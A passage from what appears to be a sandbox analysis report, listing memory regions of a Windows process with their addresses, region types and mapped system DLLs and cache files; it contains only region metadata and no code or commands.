= 0x24c0000 end_va = 0x24c0fff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 2417 start_va = 0x24d0000 end_va = 0x24d0fff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 2418 start_va = 0x24e0000 end_va = 0x24e0fff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 2419 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 2420 start_va = 0x2950000 end_va = 0x2950fff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 2421 start_va = 0x29e0000 end_va = 0x29e0fff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 2422 start_va = 0x31c0000 end_va = 0x31c0fff entry_point = 0x0 region_type = private name = "private_0x00000000031c0000" filename = "" Region: id = 2423 start_va = 0x31d0000 end_va = 0x31d0fff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 2424 start_va = 0x31e0000 end_va = 0x31e0fff entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 2425 start_va = 0x31f0000 end_va = 0x31f0fff entry_point = 0x0 region_type = private name = "private_0x00000000031f0000" filename = "" Region: id = 2426 start_va = 0x3280000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 2427 start_va = 0x3290000 end_va = 0x3290fff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 2428 start_va = 0x32a0000 end_va = 0x32a0fff entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 2429 start_va = 0x32b0000 end_va = 0x32b0fff entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 2430 start_va = 0x7fefa650000 end_va = 0x7fefa715fff entry_point = 0x7fefa65f220 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" Region: id = 2431 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 2432 start_va = 0x3fe0000 end_va = 0x405ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 2433 start_va = 0x7fefa610000 end_va = 0x7fefa64afff entry_point = 0x7fefa611070 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" Region: id = 2434 start_va = 0x7fefa590000 end_va = 0x7fefa60efff entry_point = 0x7fefa5e385c region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" Region: id = 2435 start_va = 0x23c0000 end_va = 0x23c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 2436 start_va = 0x3340000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 2437 start_va = 0x3370000 end_va = 0x3371fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003370000" filename = "" Region: id = 2438 start_va = 0x7fefc8a0000 end_va = 0x7fefc9a8fff entry_point = 0x7fefc8a1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" Region: id = 2439 start_va = 0x7fefc9b0000 end_va = 0x7fefcb89fff entry_point = 0x7fefc9b3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" Region: id = 2472 start_va = 0x3340000 end_va = 0x3340fff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 2473 start_va = 0x3350000 end_va = 0x3353fff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 2474 start_va = 0x3380000 end_va = 0x3381fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003380000" filename = "" Region: id = 2475 start_va = 0x3390000 end_va = 0x3393fff entry_point = 0x3390000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 2476 start_va = 0x3420000 end_va = 0x3420fff entry_point = 0x3420000 region_type = mapped_file name = "{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" Region: id = 2477 start_va = 0x3e70000 end_va = 0x3ebffff entry_point = 0x0 region_type = private name = "private_0x0000000003e70000" filename = "" Region: id = 2478 start_va = 0x4060000 end_va = 0x40dffff entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 2479 start_va = 0x40e0000 end_va = 0x415ffff entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 2480 start_va = 0x4160000 end_va = 0x41a7fff entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 2481 start_va = 0x4200000 end_va = 0x427ffff entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 2482 start_va = 0x4310000 end_va = 0x438ffff entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 2483 start_va = 0x43a0000 end_va = 0x441ffff entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 2484 start_va = 0x4420000 end_va = 0x461ffff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 2485 start_va = 0x4620000 end_va = 0x46bcfff entry_point = 0x4620000 region_type = mapped_file name = "TranscodedWallpaper.jpg" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" Region: id = 2486 start_va = 0x46c0000 end_va = 0x4d57fff entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 2487 start_va = 0x4da0000 end_va = 0x4e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004da0000" filename = "" Region: id = 2488 start_va = 0x4ee0000 end_va = 0x5577fff entry_point = 0x0 region_type = private name = "private_0x0000000004ee0000" filename = "" Region: id = 2489 start_va = 0x7fefa430000 end_va = 0x7fefa44efff entry_point = 0x7fefa4357b8 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" Region: id = 2490 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2491 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2492 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2493 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2494 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2495 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2496 start_va = 0x3360000 end_va = 0x3360fff entry_point = 0x3360000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" Region: id = 2497 start_va = 0x3430000 end_va = 0x3430fff entry_point = 0x3430000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" Region: id = 2498 start_va = 0x3ec0000 end_va = 0x3ec0fff entry_point = 0x3ec0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" Region: id = 2499 start_va = 0x5580000 end_va = 0x567ffff entry_point = 0x5580000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" Region: id = 2500 start_va = 0x5680000 end_va = 0x577ffff entry_point = 0x5680000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" Region: id = 2501 start_va = 0x5780000 end_va = 0x587ffff entry_point = 0x5780000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" Region: id = 2502 start_va = 0x7fefa290000 end_va = 0x7fefa42bfff entry_point = 0x7fefa291030 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" Region: id = 2556 start_va = 0x46e0000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 2557 start_va = 0x47f0000 end_va = 0x486ffff entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 2558 start_va = 0x5880000 end_va = 0x6bd4fff entry_point = 0x5880000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" Region: id = 2559 start_va = 0x7fefb620000 end_va = 0x7fefb65afff entry_point = 0x7fefb6222f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" Region: id = 2560 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2561 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2584 start_va = 0x3fc0000 end_va = 0x3fc1fff entry_point = 0x0 region_type = private name = "private_0x0000000003fc0000" filename = "" Region: id = 2585 start_va = 0x3fd0000 end_va = 0x3fd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003fd0000" filename = "" Region: id = 2586 start_va = 0x41b0000 end_va = 0x41e2fff entry_point = 0x0 region_type = private name = "private_0x00000000041b0000" filename = "" Region: id = 2587 start_va = 0x41f0000 end_va = 0x41f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041f0000" filename = "" Region: id = 2588 start_va = 0x4940000 end_va = 0x49bffff entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 2589 start_va = 0x743b0000 end_va = 0x743b5fff entry_point = 0x743b1010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" Region: id = 2590 start_va = 0x7fefb5e0000 end_va = 0x7fefb61afff entry_point = 0x7fefb607600 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" Region: id = 2591 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 2592 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2621 start_va = 0x4280000 end_va = 0x4280fff entry_point = 0x4280000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" Region: id = 2622 start_va = 0x4290000 end_va = 0x4290fff entry_point = 0x4290000 region_type = mapped_file name = "MMDevAPI.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" Region: id = 2623 start_va = 0x4a00000 end_va = 0x4a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 2624 start_va = 0x7fefa1c0000 end_va = 0x7fefa20efff entry_point = 0x7fefa1c2764 region_type = mapped_file name = "AudioSes.dll" filename = "\\Windows\\System32\\AudioSes.dll" Region: id = 2625 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2784 start_va = 0x42a0000 end_va = 0x42a1fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 2785 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x42b0000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" Region: id = 2786 start_va = 0x42c0000 end_va = 0x42c0fff entry_point = 0x42c0000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" Region: id = 2787 start_va = 0x42d0000 end_va = 0x42d0fff entry_point = 0x42d0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" Region: id = 2788 start_va = 0x4620000 end_va = 0x469ffff entry_point = 0x0 region_type = private name = "private_0x0000000004620000" filename = "" Region: id = 2789 start_va = 0x4a80000 end_va = 0x4b7ffff entry_point = 0x4a80000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" Region: id = 2790 start_va = 0x4b80000 end_va = 0x4c7ffff entry_point = 0x4b80000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" Region: id = 2791 start_va = 0x4c80000 end_va = 0x4d7ffff entry_point = 0x4c80000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" Region: id = 2792 start_va = 0x4e20000 end_va = 0x5222fff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 2793 start_va = 0x7fefbed0000 end_va = 0x7fefbee7fff entry_point = 0x7fefbed1060 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" Region: id = 2794 start_va = 0x7fefbf10000 end_va = 0x7fefbf19fff entry_point = 0x7fefbf149f0 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" Region: id = 2795 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2796 start_va = 0x7fefbec0000 end_va = 0x7fefbec8fff entry_point = 0x7fefbec2f98 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" Region: id = 2975 start_va = 0x52b0000 end_va = 0x532ffff entry_point = 0x0 region_type = private name = "private_0x00000000052b0000" filename = "" Region: id = 2976 start_va = 0x7fefbc30000 end_va = 0x7fefbce9fff entry_point = 0x7fefbc3115c region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" Region: id = 2977 start_va = 0x7fefbdf0000 end_va = 0x7fefbe32fff entry_point = 0x7fefbdf30d8 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" Region: id = 2978 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3138 start_va = 0x42e0000 end_va = 0x42e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042e0000" filename = "" Region: id = 3139 start_va = 0x42f0000 end_va = 0x42f3fff entry_point = 0x42f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 3140 start_va = 0x4300000 end_va = 0x4301fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004300000" filename = "" Region: id = 3141 start_va = 0x53a0000 end_va = 0x541ffff entry_point = 0x0 region_type = private name = "private_0x00000000053a0000" filename = "" Region: id = 3142 start_va = 0x5490000 end_va = 0x550ffff entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 3143 start_va = 0x7fef9d40000 end_va = 0x7fef9db0fff entry_point = 0x7fef9d7ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" Region: id = 3144 start_va = 0x7fef9dc0000 end_va = 0x7fef9e28fff entry_point = 0x7fef9dc1198 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" Region: id = 3145 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 3146 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3147 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 3148 start_va = 0x6cf0000 end_va = 0x6cfffff entry_point = 0x0 region_type = private name = "private_0x0000000006cf0000" filename = "" Region: id = 3149 start_va = 0x7fefb6c0000 end_va = 0x7fefb726fff entry_point = 0x7fefb6d6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" Region: id = 3223 start_va = 0x4390000 end_va = 0x4390fff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 3224 start_va = 0x5420000 end_va = 0x551ffff entry_point = 0x0 region_type = private name = "private_0x0000000005420000" filename = "" Region: id = 3225 start_va = 0x6d90000 end_va = 0x6e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006d90000" filename = "" Region: id = 3226 start_va = 0x6e40000 end_va = 0x6ebffff entry_point = 0x0 region_type = private name = "private_0x0000000006e40000" filename = "" Region: id = 3227 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 3253 start_va = 0x46a0000 end_va = 0x46a0fff entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 3254 start_va = 0x48b0000 end_va = 0x492ffff entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 3255 start_va = 0x7fef97f0000 end_va = 0x7fef9863fff entry_point = 0x7fef98254c8 region_type = mapped_file name = "DXP.dll" filename = "\\Windows\\System32\\DXP.dll" Region: id = 3256 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 3257 start_va = 0x7fefb5a0000 end_va = 0x7fefb5b5fff entry_point = 0x7fefb5a1050 region_type = mapped_file name = "Syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" Region: id = 3258 start_va = 0x46b0000 end_va = 0x46b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046b0000" filename = "" Region: id = 3259 start_va = 0x7030000 end_va = 0x70affff entry_point = 0x0 region_type = private name = "private_0x0000000007030000" filename = "" Region: id = 3260 start_va = 0x7fef97e0000 end_va = 0x7fef97eafff entry_point = 0x7fef97e1030 region_type = mapped_file name = "ehSSO.dll" filename = "\\Windows\\ehome\\ehSSO.dll" Region: id = 3261 start_va = 0x47c0000 end_va = 0x47cffff entry_point = 0x0 region_type = private name = "private_0x00000000047c0000" filename = "" Region: id = 3262 start_va = 0x7fef9550000 end_va = 0x7fef97dafff entry_point = 0x7fef9556f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" Region: id = 3263 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 3264 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 3265 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 3266 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3276 start_va = 0x46c0000 end_va = 0x46c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046c0000" filename = "" Region: id = 3277 start_va = 0x46d0000 end_va = 0x46d1fff entry_point = 0x0 region_type = private name = "private_0x00000000046d0000" filename = "" Region: id = 3278 start_va = 0x6f90000 end_va = 0x700ffff entry_point = 0x0 region_type = private name = "private_0x0000000006f90000" filename = "" Region: id = 3279 start_va = 0x7260000 end_va = 0x726ffff entry_point = 0x0 region_type = private name = "private_0x0000000007260000" filename = "" Region: id = 3280 start_va = 0x7fef9530000 end_va = 0x7fef954ffff entry_point = 0x7fef9531298 region_type = mapped_file name = "WPDShServiceObj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" Region: id = 3281 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 3282 start_va = 0x7fef94f0000 end_va = 0x7fef9528fff entry_point = 0x7fef94f1240 region_type = mapped_file name = "PortableDeviceTypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" Region: id = 3283 start_va = 0x7fef9430000 end_va = 0x7fef94ecfff entry_point = 0x7fef9431ea4 region_type = mapped_file name = "PortableDeviceApi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" Region: id = 3286 start_va = 0x2c70000 end_va = 0x2ceffff entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 3287 start_va = 0x2cf0000 end_va = 0x2deffff entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 3288 start_va = 0x5500000 end_va = 0x557ffff entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 3289 start_va = 0x7270000 end_va = 0x756ffff entry_point = 0x0 region_type = private name = "private_0x0000000007270000" filename = "" Region: id = 3290 start_va = 0x7fef93b0000 end_va = 0x7fef93bffff entry_point = 0x7fef93b95dc region_type = mapped_file name = "AltTab.dll" filename = "\\Windows\\System32\\AltTab.dll" Region: id = 3291 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 3292 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 3296 start_va = 0x6f10000 end_va = 0x6f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000006f10000" filename = "" Region: id = 3297 start_va = 0x7fef91d0000 end_va = 0x7fef91eefff entry_point = 0x7fef91d3580 region_type = mapped_file name = "QUTIL.DLL" filename = "\\Windows\\System32\\QUTIL.DLL" Region: id = 3298 start_va = 0x7fef91f0000 end_va = 0x7fef93acfff entry_point = 0x7fef91f1010 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" Region: id = 3299 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 3300 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 3301 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 3302 start_va = 0x7700000 end_va = 0x777ffff entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 3303 start_va = 0x7fef90a0000 end_va = 0x7fef9103fff entry_point = 0x7fef90a1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" Region: id = 3304 start_va = 0x7fef9110000 end_va = 0x7fef9180fff entry_point = 0x7fef9111010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" Region: id = 3305 start_va = 0x7fef9190000 end_va = 0x7fef91c7fff entry_point = 0x7fef919363c region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" Region: id = 3306 start_va = 0x7fefacc0000 end_va = 0x7fefad12fff entry_point = 0x7fefacc2b98 region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\System32\\FWPUCLNT.DLL" Region: id = 3307 start_va = 0x78f0000 end_va = 0x796ffff entry_point = 0x0 region_type = private name = "private_0x00000000078f0000" filename = "" Region: id = 3308 start_va = 0x7fef9060000 end_va = 0x7fef909efff entry_point = 0x7fef90612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" Region: id = 3309 start_va = 0x7fefac90000 end_va = 0x7fefaca0fff entry_point = 0x7fefac916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" Region: id = 3310 start_va = 0x7fefb7b0000 end_va = 0x7fefb8d6fff entry_point = 0x7fefb7b10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" Region: id = 3311 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3312 start_va = 0x5420000 end_va = 0x54dffff entry_point = 0x5420000 region_type = mapped_file name = "KernelBase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" Region: id = 3313 start_va = 0x7fefac70000 end_va = 0x7fefac87fff entry_point = 0x7fefac71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" Region: id = 3314 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 3323 start_va = 0x2cf0000 end_va = 0x2d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 3324 start_va = 0x2d30000 end_va = 0x2daffff entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 3325 start_va = 0x7fef8f90000 end_va = 0x7fef9051fff entry_point = 0x7fef8fb04b4 region_type = mapped_file name = "ActionCenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" Region: id = 3326 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 3418 start_va = 0x2cf0000 end_va = 0x2cf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cf0000" filename = "" Region: id = 3419 start_va = 0x7fef8ad0000 end_va = 0x7fef8b6cfff entry_point = 0x7fef8b5d52c region_type = mapped_file name = "FXSAPI.dll" filename = "\\Windows\\System32\\FXSAPI.dll" Region: id = 3420 start_va = 0x7fef8b70000 end_va = 0x7fef8c46fff entry_point = 0x7fef8b71254 region_type = mapped_file name = "FXSST.dll" filename = "\\Windows\\System32\\FXSST.dll" Region: id = 3428 start_va = 0x2df0000 end_va = 0x2e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3429 start_va = 0x75870000 end_va = 0x75952fff entry_point = 0x75870000 region_type = mapped_file name = "FXSRESM.dll" filename = "\\Windows\\System32\\FXSRESM.dll" Region: id = 3430 start_va = 0x7fef88c0000 end_va = 0x7fef8917fff entry_point = 0x7fef88c30f0 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" Region: id = 3431 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 3432 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 3479 start_va = 0x2d00000 end_va = 0x2d01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d00000" filename = "" Region: id = 3480 start_va = 0x2d10000 end_va = 0x2d11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d10000" filename = "" Region: id = 3481 start_va = 0x7fef79b0000 end_va = 0x7fef79eafff entry_point = 0x7fef79b1238 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" Region: id = 3482 start_va = 0x7fef79f0000 end_va = 0x7fef7a43fff entry_point = 0x7fef79f104c region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" Region: id = 3483 start_va = 0x7fef7a50000 end_va = 0x7fef8606fff entry_point = 0x7fef7a51bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" Region: id = 3484 start_va = 0x7fef8610000 end_va = 0x7fef8659fff entry_point = 0x7fef8611160 region_type = mapped_file name = "webcheck.dll" filename = 